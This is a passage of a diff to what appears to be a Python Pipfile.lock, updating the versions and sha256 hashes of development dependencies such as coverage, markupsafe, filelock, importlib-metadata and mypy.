"sha256:5995f0164fa7df59db4746112fec3f49c461dd6b31b841873443bdb077c13cfc", + "sha256:59e5686dd847347e55dffcc191a96622f016bc0ad89105e24c14e0d6305acbc6", + "sha256:601f36512f9e28f029d9481bdaf8e89e5148ac5d89cffd3b05cd533eeb423b59", + "sha256:608862a7bf6957f2333fc54ab4399e405baad0163dc9f8d99cb236816db169d4", + "sha256:62595ab75873d50d57323a91dd03e6966eb79c41fa834b7a1661ed043b2d404d", + "sha256:70990b9c51340e4044cfc394a81f614f3f90d41397104d226f21e66de668730d", + "sha256:71140351489970dfe5e60fc621ada3e0f41104a5eddaca47a7acb3c1b851d6d3", + "sha256:72966d1b297c741541ca8cf1223ff262a6febe52481af742036a0b296e35fa5a", + "sha256:74292fc76c905c0ef095fe11e188a32ebd03bc38f3f3e9bcb85e4e6db177b7ea", + "sha256:761e8904c07ad053d285670f36dd94e1b6ab7f16ce62b9805c475b7aa1cffde6", + "sha256:772b87914ff1152b92a197ef4ea40efe27a378606c39446ded52c8f80f79702e", + "sha256:79909e27e8e4fcc9db4addea88aa63f6423ebb171db091fb4373e3312cb6d603", + "sha256:7e189e2e1d3ed2f4aebabd2d5b0f931e883676e51c7624826e0a4e5fe8a0bf24", + "sha256:7eb33a30d75562222b64f569c642ff3dc6689e09adda43a082208397f016c39a", + "sha256:81d6741ab457d14fdedc215516665050f3822d3e56508921cc7239f8c8e66a58", + "sha256:8499ca8f4502af841f68135133d8258f7b32a53a1d594aa98cc52013fff55678", + "sha256:84c3990934bae40ea69a82034912ffe5a62c60bbf6ec5bc9691419641d7d5c9a", + "sha256:87701167f2a5c930b403e9756fab1d31d4d4da52856143b609e30a1ce7160f3c", + "sha256:88600c72ef7587fe1708fd242b385b6ed4b8904976d5da0893e31df8b3480cb6", + "sha256:8ac7b6a045b814cf0c47f3623d21ebd88b3e8cf216a14790b455ea7ff0135d18", + "sha256:8b8af03d2e37866d023ad0ddea594edefc31e827fee64f8de5611a1dbc373174", + "sha256:8c7fe7afa480e3e82eed58e0ca89f751cd14d767638e2550c77a92a9e749c317", + "sha256:8eade758719add78ec36dc13201483f8e9b5d940329285edcd5f70c0a9edbd7f", + "sha256:911d8a40b2bef5b8bbae2e36a0b103f142ac53557ab421dc16ac4aafee6f53dc", + "sha256:93ad6d87ac18e2a90b0fe89df7c65263b9a99a0eb98f0a3d2e079f12a0735837", + "sha256:95dea361dd73757c6f1c0a1480ac499952c16ac83f7f5f4f84f0658a01b8ef41", + "sha256:9ab77acb98eba3fd2a85cd160851816bfce6871d944d885febf012713f06659c", + "sha256:9cb3032517f1627cc012dbc80a8ec976ae76d93ea2b5feaa9d2a5b8882597579", + "sha256:9cf4e8ad252f7c38dd1f676b46514f92dc0ebeb0db5552f5f403509705e24753", + "sha256:9d9153257a3f70d5f69edf2325357251ed20f772b12e593f3b3377b5f78e7ef8", + "sha256:a152f5f33d64a6be73f1d30c9cc82dfc73cec6477ec268e7c6e4c7d23c2d2291", + "sha256:a16418ecf1329f71df119e8a65f3aa68004a3f9383821edcb20f0702934d8087", + "sha256:a60332922359f920193b1d4826953c507a877b523b2395ad7bc716ddd386d866", + "sha256:a8d0fc946c784ff7f7c3742310cc8a57c5c6dc31631269876a88b809dbeff3d3", + "sha256:ab5de034a886f616a5668aa5d098af2b5385ed70142090e2a31bcbd0af0fdb3d", + "sha256:c22d3fe05ce11d3671297dc8973267daa0f938b93ec716e12e0f6dee81591dc1", + "sha256:c2ac1b08635a8cd4e0cbeaf6f5e922085908d48eb05d44c5ae9eabab148512ca", + "sha256:c512accbd6ff0270939b9ac214b84fb5ada5f0409c44298361b2f5e13f9aed9e", + "sha256:c75ffc45f25324e68ab238cb4b5c0a38cd1c3d7f1fb1f72b5541de469e2247db", + "sha256:c95a03c79bbe30eec3ec2b7f076074f4281526724c8685a42872974ef4d36b72", + "sha256:cadaeaba78750d58d3cc6ac4d1fd867da6fc73c88156b7a3212a3cd4819d679d", + "sha256:cd6056167405314a4dc3c173943f11249fa0f1b204f8b51ed4bde1a9cd1834dc", + "sha256:db72b07027db150f468fbada4d85b3b2729a3db39178abf5c543b784c1254539", + "sha256:df2c707231459e8a4028eabcd3cfc827befd635b3ef72eada84ab13b52e1574d", + "sha256:e62164b50f84e20601c1ff8eb55620d2ad25fb81b59e3cd776a1902527a788af", + "sha256:e696f0dd336161fca9adbb846875d40752e6eba585843c768935ba5c9960722b", + "sha256:eaa379fcd227ca235d04152ca6704c7cb55564116f8bc52545ff357628e10602", + "sha256:ebea339af930f8ca5d7a699b921106c6e29c617fe9606fa7baa043c1cdae326f", + "sha256:f4c39b0e3eac288fedc2b43055cfc2ca7a60362d0e5e87a637beac5d801ef478", + "sha256:f5057856d21e7586765171eac8b9fc3f7d44ef39425f85dbcccb13b3ebea806c", + "sha256:f6f45710b4459401609ebebdbcfb34515da4fc2aa886f95107f556ac69a9147e", + "sha256:f97e83fa6c25693c7a35de154681fcc257c1c41b38beb0304b9c4d2d9e164479", + "sha256:f9d0c5c045a3ca9bedfc35dca8526798eb91a07aa7a2c0fee134c6c6f321cbd7", + "sha256:ff6f3db31555657f3163b15a6b7c6938d08df7adbfc9dd13d9d19edad678f1e8" ], "markers": "python_version >= '3.6'", - "version": "==2.1.1" + "version": "==3.0.1" }, "click": { "hashes": [ @@ -1106,60 +1269,64 @@ "version": "==0.4.6" }, "coverage": { - "hashes": [ - "sha256:027018943386e7b942fa832372ebc120155fd970837489896099f5cfa2890f79", - "sha256:11b990d520ea75e7ee8dcab5bc908072aaada194a794db9f6d7d5cfd19661e5a", - "sha256:12adf310e4aafddc58afdb04d686795f33f4d7a6fa67a7a9d4ce7d6ae24d949f", - "sha256:1431986dac3923c5945271f169f59c45b8802a114c8f548d611f2015133df77a", - "sha256:1ef221513e6f68b69ee9e159506d583d31aa3567e0ae84eaad9d6ec1107dddaa", - "sha256:20c8ac5386253717e5ccc827caad43ed66fea0efe255727b1053a8154d952398", - "sha256:2198ea6fc548de52adc826f62cb18554caedfb1d26548c1b7c88d8f7faa8f6ba", - "sha256:255758a1e3b61db372ec2736c8e2a1fdfaf563977eedbdf131de003ca5779b7d", - "sha256:265de0fa6778d07de30bcf4d9dc471c3dc4314a23a3c6603d356a3c9abc2dfcf", - "sha256:33a7da4376d5977fbf0a8ed91c4dffaaa8dbf0ddbf4c8eea500a2486d8bc4d7b", - "sha256:42eafe6778551cf006a7c43153af1211c3aaab658d4d66fa5fcc021613d02518", - "sha256:4433b90fae13f86fafff0b326453dd42fc9a639a0d9e4eec4d366436d1a41b6d", - "sha256:4a5375e28c5191ac38cca59b38edd33ef4cc914732c916f2929029b4bfb50795", - "sha256:4a8dbc1f0fbb2ae3de73eb0bdbb914180c7abfbf258e90b311dcd4f585d44bd2", - "sha256:59f53f1dc5b656cafb1badd0feb428c1e7bc19b867479ff72f7a9dd9b479f10e", - "sha256:5dbec3b9095749390c09ab7c89d314727f18800060d8d24e87f01fb9cfb40b32", - "sha256:633713d70ad6bfc49b34ead4060531658dc6dfc9b3eb7d8a716d5873377ab745", - "sha256:6b07130585d54fe8dff3d97b93b0e20290de974dc8177c320aeaf23459219c0b", - "sha256:6c4459b3de97b75e3bd6b7d4b7f0db13f17f504f3d13e2a7c623786289dd670e", - "sha256:6d4817234349a80dbf03640cec6109cd90cba068330703fa65ddf56b60223a6d", - "sha256:723e8130d4ecc8f56e9a611e73b31219595baa3bb252d539206f7bbbab6ffc1f", - "sha256:784f53ebc9f3fd0e2a3f6a78b2be1bd1f5575d7863e10c6e12504f240fd06660", - "sha256:7b6be138d61e458e18d8e6ddcddd36dd96215edfe5f1168de0b1b32635839b62", - "sha256:7ccf362abd726b0410bf8911c31fbf97f09f8f1061f8c1cf03dfc4b6372848f6", - "sha256:83516205e254a0cb77d2d7bb3632ee019d93d9f4005de31dca0a8c3667d5bc04", - "sha256:851cf4ff24062c6aec510a454b2584f6e998cada52d4cb58c5e233d07172e50c", - "sha256:8f830ed581b45b82451a40faabb89c84e1a998124ee4212d440e9c6cf70083e5", - "sha256:94e2565443291bd778421856bc975d351738963071e9b8839ca1fc08b42d4bef", - "sha256:95203854f974e07af96358c0b261f1048d8e1083f2de9b1c565e1be4a3a48cfc", - "sha256:97117225cdd992a9c2a5515db1f66b59db634f59d0679ca1fa3fe8da32749cae", - "sha256:98e8a10b7a314f454d9eff4216a9a94d143a7ee65018dd12442e898ee2310578", - "sha256:a1170fa54185845505fbfa672f1c1ab175446c887cce8212c44149581cf2d466", - "sha256:a6b7d95969b8845250586f269e81e5dfdd8ff828ddeb8567a4a2eaa7313460c4", - "sha256:a8fb6cf131ac4070c9c5a3e21de0f7dc5a0fbe8bc77c9456ced896c12fcdad91", - "sha256:af4fffaffc4067232253715065e30c5a7ec6faac36f8fc8d6f64263b15f74db0", - "sha256:b4a5be1748d538a710f87542f22c2cad22f80545a847ad91ce45e77417293eb4", - "sha256:b5604380f3415ba69de87a289a2b56687faa4fe04dbee0754bfcae433489316b", - "sha256:b9023e237f4c02ff739581ef35969c3739445fb059b060ca51771e69101efffe", - "sha256:bc8ef5e043a2af066fa8cbfc6e708d58017024dc4345a1f9757b329a249f041b", - "sha256:c4ed2820d919351f4167e52425e096af41bfabacb1857186c1ea32ff9983ed75", - "sha256:cca4435eebea7962a52bdb216dec27215d0df64cf27fc1dd538415f5d2b9da6b", - "sha256:d900bb429fdfd7f511f868cedd03a6bbb142f3f9118c09b99ef8dc9bf9643c3c", - "sha256:d9ecf0829c6a62b9b573c7bb6d4dcd6ba8b6f80be9ba4fc7ed50bf4ac9aecd72", - "sha256:dbdb91cd8c048c2b09eb17713b0c12a54fbd587d79adcebad543bc0cd9a3410b", - "sha256:de3001a203182842a4630e7b8d1a2c7c07ec1b45d3084a83d5d227a3806f530f", - "sha256:e07f4a4a9b41583d6eabec04f8b68076ab3cd44c20bd29332c6572dda36f372e", - "sha256:ef8674b0ee8cc11e2d574e3e2998aea5df5ab242e012286824ea3c6970580e53", - "sha256:f4f05d88d9a80ad3cac6244d36dd89a3c00abc16371769f1340101d3cb899fc3", - "sha256:f642e90754ee3e06b0e7e51bce3379590e76b7f76b708e1a71ff043f87025c84", - "sha256:fc2af30ed0d5ae0b1abdb4ebdce598eafd5b35397d4d75deb341a614d333d987" + "extras": [ + "toml" + ], + "hashes": [ + "sha256:04481245ef966fbd24ae9b9e537ce899ae584d521dfbe78f89cad003c38ca2ab", + "sha256:0c45948f613d5d18c9ec5eaa203ce06a653334cf1bd47c783a12d0dd4fd9c851", + "sha256:10188fe543560ec4874f974b5305cd1a8bdcfa885ee00ea3a03733464c4ca265", + "sha256:218fe982371ac7387304153ecd51205f14e9d731b34fb0568181abaf7b443ba0", + "sha256:29571503c37f2ef2138a306d23e7270687c0efb9cab4bd8038d609b5c2393a3a", + "sha256:2a60d6513781e87047c3e630b33b4d1e89f39836dac6e069ffee28c4786715f5", + "sha256:2bf1d5f2084c3932b56b962a683074a3692bce7cabd3aa023c987a2a8e7612f6", + "sha256:3164d31078fa9efe406e198aecd2a02d32a62fecbdef74f76dad6a46c7e48311", + "sha256:32df215215f3af2c1617a55dbdfb403b772d463d54d219985ac7cd3bf124cada", + "sha256:33d1ae9d4079e05ac4cc1ef9e20c648f5afabf1a92adfaf2ccf509c50b85717f", + "sha256:33ff26d0f6cc3ca8de13d14fde1ff8efe1456b53e3f0273e63cc8b3c84a063d8", + "sha256:38da2db80cc505a611938d8624801158e409928b136c8916cd2e203970dde4dc", + "sha256:3b155caf3760408d1cb903b21e6a97ad4e2bdad43cbc265e3ce0afb8e0057e73", + "sha256:3b946bbcd5a8231383450b195cfb58cb01cbe7f8949f5758566b881df4b33baf", + "sha256:3baf5f126f30781b5e93dbefcc8271cb2491647f8283f20ac54d12161dff080e", + "sha256:4b14d5e09c656de5038a3f9bfe5228f53439282abcab87317c9f7f1acb280352", + "sha256:51b236e764840a6df0661b67e50697aaa0e7d4124ca95e5058fa3d7cbc240b7c", + "sha256:63ffd21aa133ff48c4dff7adcc46b7ec8b565491bfc371212122dd999812ea1c", + "sha256:6a43c7823cd7427b4ed763aa7fb63901ca8288591323b58c9cd6ec31ad910f3c", + "sha256:755e89e32376c850f826c425ece2c35a4fc266c081490eb0a841e7c1cb0d3bda", + "sha256:7a726d742816cb3a8973c8c9a97539c734b3a309345236cd533c4883dda05b8d", + "sha256:7c7c0d0827e853315c9bbd43c1162c006dd808dbbe297db7ae66cd17b07830f0", + "sha256:7ed681b0f8e8bcbbffa58ba26fcf5dbc8f79e7997595bf071ed5430d8c08d6f3", + "sha256:7ee5c9bb51695f80878faaa5598040dd6c9e172ddcf490382e8aedb8ec3fec8d", + "sha256:8361be1c2c073919500b6601220a6f2f98ea0b6d2fec5014c1d9cfa23dd07038", + "sha256:8ae125d1134bf236acba8b83e74c603d1b30e207266121e76484562bc816344c", + "sha256:9817733f0d3ea91bea80de0f79ef971ae94f81ca52f9b66500c6a2fea8e4b4f8", + "sha256:98b85dd86514d889a2e3dd22ab3c18c9d0019e696478391d86708b805f4ea0fa", + "sha256:9ccb092c9ede70b2517a57382a601619d20981f56f440eae7e4d7eaafd1d1d09", + "sha256:9d58885215094ab4a86a6aef044e42994a2bd76a446dc59b352622655ba6621b", + "sha256:b643cb30821e7570c0aaf54feaf0bfb630b79059f85741843e9dc23f33aaca2c", + "sha256:bc7c85a150501286f8b56bd8ed3aa4093f4b88fb68c0843d21ff9656f0009d6a", + "sha256:beeb129cacea34490ffd4d6153af70509aa3cda20fdda2ea1a2be870dfec8d52", + "sha256:c31b75ae466c053a98bf26843563b3b3517b8f37da4d47b1c582fdc703112bc3", + "sha256:c4e4881fa9e9667afcc742f0c244d9364d197490fbc91d12ac3b5de0bf2df146", + "sha256:c5b15ed7644ae4bee0ecf74fee95808dcc34ba6ace87e8dfbf5cb0dc20eab45a", + "sha256:d12d076582507ea460ea2a89a8c85cb558f83406c8a41dd641d7be9a32e1274f", + "sha256:d248cd4a92065a4d4543b8331660121b31c4148dd00a691bfb7a5cdc7483cfa4", + "sha256:d47dd659a4ee952e90dc56c97d78132573dc5c7b09d61b416a9deef4ebe01a0c", + "sha256:d4a5a5879a939cb84959d86869132b00176197ca561c664fc21478c1eee60d75", + "sha256:da9b41d4539eefd408c46725fb76ecba3a50a3367cafb7dea5f250d0653c1040", + "sha256:db61a79c07331e88b9a9974815c075fbd812bc9dbc4dc44b366b5368a2936063", + "sha256:ddb726cb861c3117a553f940372a495fe1078249ff5f8a5478c0576c7be12050", + "sha256:ded59300d6330be27bc6cf0b74b89ada58069ced87c48eaf9344e5e84b0072f7", + "sha256:e2617759031dae1bf183c16cef8fcfb3de7617f394c813fa5e8e46e9b82d4222", + "sha256:e5cdbb5cafcedea04924568d990e20ce7f1945a1dd54b560f879ee2d57226912", + "sha256:ec8e767f13be637d056f7e07e61d089e555f719b387a7070154ad80a0ff31801", + "sha256:ef382417db92ba23dfb5864a3fc9be27ea4894e86620d342a116b243ade5d35d", + "sha256:f2cba5c6db29ce991029b5e4ac51eb36774458f0a3b8d3137241b32d1bb91f06", + "sha256:f5b4198d85a3755d27e64c52f8c95d6333119e49fd001ae5798dac872c95e0f8", + "sha256:ffeeb38ee4a80a30a6877c5c4c359e5498eec095878f1581453202bfacc8fbc2" ], "index": "pypi", - "version": "==6.5.0" + "version": "==7.1.0" }, "distlib": { "hashes": [ @@ -1185,19 +1352,19 @@ }, "exceptiongroup": { "hashes": [ - "sha256:542adf9dea4055530d6e1279602fa5cb11dab2395fa650b8674eaec35fc4a828", - "sha256:bd14967b79cd9bdb54d97323216f8fdf533e278df937aa2a90089e7d6e06e5ec" + "sha256:327cbda3da756e2de031a3107b81ab7b3770a602c4d16ca618298c526f4bec1e", + "sha256:bcb67d800a4497e1b404c2dd44fca47d3b7a5e5433dbab67f96c1a685cdfdf23" ], "markers": "python_version < '3.11'", - "version": "==1.0.4" + "version": "==1.1.0" }, "filelock": { "hashes": [ - "sha256:55447caa666f2198c5b6b13a26d2084d26fa5b115c00d065664b2124680c4edc", - "sha256:617eb4e5eedc82fc5f47b6d61e4d11cb837c56cb4544e39081099fa17ad109d4" + "sha256:7b319f24340b51f55a2bf7a12ac0755a9b03e718311dac567a0f4f7fabd2f5de", + "sha256:f58d535af89bb9ad5cd4df046f741f8553a418c01a7856bf0d173bbc9f6bd16d" ], "markers": "python_version >= '3.7'", - "version": "==3.8.0" + "version": "==3.9.0" }, "flake8": { "hashes": [ @@ -1225,18 +1392,19 @@ }, "importlib-metadata": { "hashes": [ - "sha256:da31db32b304314d044d3c12c79bd59e307889b287ad12ff387b3500835fc2ab", - "sha256:ddb0e35065e8938f867ed4928d0ae5bf2a53b7773871bfe6bcc7e4fcdc7dea43" + "sha256:7efb448ec9a5e313a57655d35aa54cd3e01b7e1fbcf72dce1bf06119420f5bad", + "sha256:e354bedeb60efa6affdcc8ae121b73544a7aa74156d047311948f6d711cd378d" ], - "markers": "python_version < '3.8'", - "version": "==5.0.0" + "markers": "python_version < '3.10'", + "version": "==6.0.0" }, "iniconfig": { "hashes": [ - "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3", - "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" + "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3", + "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374" ], - "version": "==1.1.1" + "markers": "python_version >= '3.7'", + "version": "==2.0.0" }, "isort": { "hashes": [ @@ -1256,49 +1424,59 @@ }, "markupsafe": { "hashes": [ - "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", - "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", - "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", - "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", - "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", - "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", - "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", - "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", - "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", - "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", - "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", - "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", - "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", - "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", - "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", - "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", - "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", - "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", - "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", - "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", - "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", - "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", - "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", - "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", - "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", - "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", - "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", - "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", - "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", - "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", - "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", - "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", - "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", - "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", - "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", - "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", - "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", - "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", - "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", - "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" + "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", + "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc", + "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2", + "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460", + "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7", + "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0", + "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1", + "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa", + "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03", + "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323", + "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65", + "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013", + "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036", + "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f", + "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4", + "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419", + "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2", + "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619", + "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a", + "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a", + "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd", + "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7", + "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666", + "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65", + "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859", + "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625", + "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff", + "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156", + "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd", + "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba", + "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f", + "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1", + "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094", + "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a", + "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513", + "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed", + "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d", + "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3", + "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147", + "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c", + "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603", + "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601", + "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a", + "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1", + "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d", + "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3", + "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54", + "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2", + "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6", + "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58" ], "markers": "python_version >= '3.7'", - "version": "==2.1.1" + "version": "==2.1.2" }, "mccabe": { "hashes": [ @@ -1320,70 +1498,67 @@ }, "mypy": { "hashes": [ - "sha256:0714258640194d75677e86c786e80ccf294972cc76885d3ebbb560f11db0003d", - "sha256:0c8f3be99e8a8bd403caa8c03be619544bc2c77a7093685dcf308c6b109426c6", - "sha256:0cca5adf694af539aeaa6ac633a7afe9bbd760df9d31be55ab780b77ab5ae8bf", - "sha256:1c8cd4fb70e8584ca1ed5805cbc7c017a3d1a29fb450621089ffed3e99d1857f", - "sha256:1f7d1a520373e2272b10796c3ff721ea1a0712288cafaa95931e66aa15798813", - "sha256:209ee89fbb0deed518605edddd234af80506aec932ad28d73c08f1400ef80a33", - "sha256:26efb2fcc6b67e4d5a55561f39176821d2adf88f2745ddc72751b7890f3194ad", - "sha256:37bd02ebf9d10e05b00d71302d2c2e6ca333e6c2a8584a98c00e038db8121f05", - "sha256:3a700330b567114b673cf8ee7388e949f843b356a73b5ab22dd7cff4742a5297", - "sha256:3c0165ba8f354a6d9881809ef29f1a9318a236a6d81c690094c5df32107bde06", - "sha256:3d80e36b7d7a9259b740be6d8d906221789b0d836201af4234093cae89ced0cd", - "sha256:4175593dc25d9da12f7de8de873a33f9b2b8bdb4e827a7cae952e5b1a342e243", - "sha256:4307270436fd7694b41f913eb09210faff27ea4979ecbcd849e57d2da2f65305", - "sha256:5e80e758243b97b618cdf22004beb09e8a2de1af481382e4d84bc52152d1c476", - "sha256:641411733b127c3e0dab94c45af15fea99e4468f99ac88b39efb1ad677da5711", - "sha256:652b651d42f155033a1967739788c436491b577b6a44e4c39fb340d0ee7f0d70", - "sha256:6d7464bac72a85cb3491c7e92b5b62f3dcccb8af26826257760a552a5e244aa5", - "sha256:74e259b5c19f70d35fcc1ad3d56499065c601dfe94ff67ae48b85596b9ec1461", - "sha256:7d17e0a9707d0772f4a7b878f04b4fd11f6f5bcb9b3813975a9b13c9332153ab", - "sha256:901c2c269c616e6cb0998b33d4adbb4a6af0ac4ce5cd078afd7bc95830e62c1c", - "sha256:98e781cd35c0acf33eb0295e8b9c55cdbef64fcb35f6d3aa2186f289bed6e80d", - "sha256:a12c56bf73cdab116df96e4ff39610b92a348cc99a1307e1da3c3768bbb5b135", - "sha256:ac6e503823143464538efda0e8e356d871557ef60ccd38f8824a4257acc18d93", - "sha256:b8472f736a5bfb159a5e36740847808f6f5b659960115ff29c7cecec1741c648", - "sha256:b86ce2c1866a748c0f6faca5232059f881cda6dda2a893b9a8373353cfe3715a", - "sha256:bc9ec663ed6c8f15f4ae9d3c04c989b744436c16d26580eaa760ae9dd5d662eb", - "sha256:c9166b3f81a10cdf9b49f2d594b21b31adadb3d5e9db9b834866c3258b695be3", - "sha256:d13674f3fb73805ba0c45eb6c0c3053d218aa1f7abead6e446d474529aafc372", - "sha256:de32edc9b0a7e67c2775e574cb061a537660e51210fbf6006b0b36ea695ae9bb", - "sha256:e62ebaad93be3ad1a828a11e90f0e76f15449371ffeecca4a0a0b9adc99abcef" + "sha256:01b1b9e1ed40544ef486fa8ac022232ccc57109f379611633ede8e71630d07d2", + "sha256:0ab090d9240d6b4e99e1fa998c2d0aa5b29fc0fb06bd30e7ad6183c95fa07593", + "sha256:14d776869a3e6c89c17eb943100f7868f677703c8a4e00b3803918f86aafbc52", + 